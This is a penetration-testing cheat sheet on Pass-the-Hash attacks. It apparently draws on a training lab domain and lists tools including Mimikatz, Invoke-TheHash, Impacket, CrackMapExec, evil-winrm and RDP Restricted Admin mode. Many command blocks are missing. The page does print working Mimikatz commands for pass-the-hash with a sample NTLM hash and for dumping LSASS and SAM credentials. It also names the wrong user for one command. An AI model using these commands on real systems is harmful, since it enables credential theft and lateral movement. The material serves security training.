Pass the Hash (PtH) Attack

Performing Pass the Hash Attacks


1. Mimikatz (Windows)

Mimikatz Pass the Hash Command:

mimikatz.exe privilege::debug sekurlsa::pth /user:david /domain:inlanefreight.htb /rc4:c39f2beb3d2ec06a62cb887fb391dee0 /run:cmd.exe exit
  • Launches cmd.exe as julio.

  • Commands executed in Julio’s context.

Mimikatz Extract Hashes Command

  1. dumps the hashes from memory

mimikatz.exe privilege::debug sekurlsa::logonpasswords
  1. elevates your token, and dumps the SAM hashes

mimikatz.exe privilege::debug token::elevate lsadump::sam

πŸ”— Mimikatz GitHubarrow-up-right


2. Invoke-TheHash (Windows)

https://github.com/Kevin-Robertson/Invoke-TheHasharrow-up-right

Using SMB Execution:

Reverse Shell via WMI:

  1. Start a listener:

  1. Generate reverse shell payload from Reverse Shell Generatorarrow-up-right.

  1. Execute using: Invoke-TheHash with WMI


3. Impacket-psexec (Linux)

PsExec Example:

Other useful tools:

  • impacket-wmiexec

  • impacket-atexec

  • impacket-smbexec

πŸ”— Impacket GitHubarrow-up-right


4. CrackMapExec (Linux)

Authentication and Command Execution:

πŸ’¬ Pwn3d! means administrative access was successfully obtained.

πŸ”— NetExec Wiki (formerly CrackMapExec)arrow-up-right


5. evil-winrm (Linux)

Establish PowerShell Remoting Session:

πŸ”— evil-winrm GitHubarrow-up-right


6. Pass the Hash via RDP (Linux)

Requirements:

  • Restricted Admin Mode must be enabled.

Enable Restricted Admin Mode:

This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command:

Pass the Hash Using RDP

πŸ”— FreeRDP GitHubarrow-up-right


⚠️ UAC Limitations for Local Accounts

UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.

  • LocalAccountTokenFilterPolicy determines if local users (besides built-in admin) can perform remote administration.

  • FilterAdministratorToken can UAC-protect even the built-in administrator account.

πŸ”— Pass-the-Hash is Dead: LocalAccountTokenFilterPolicyarrow-up-right


Last updated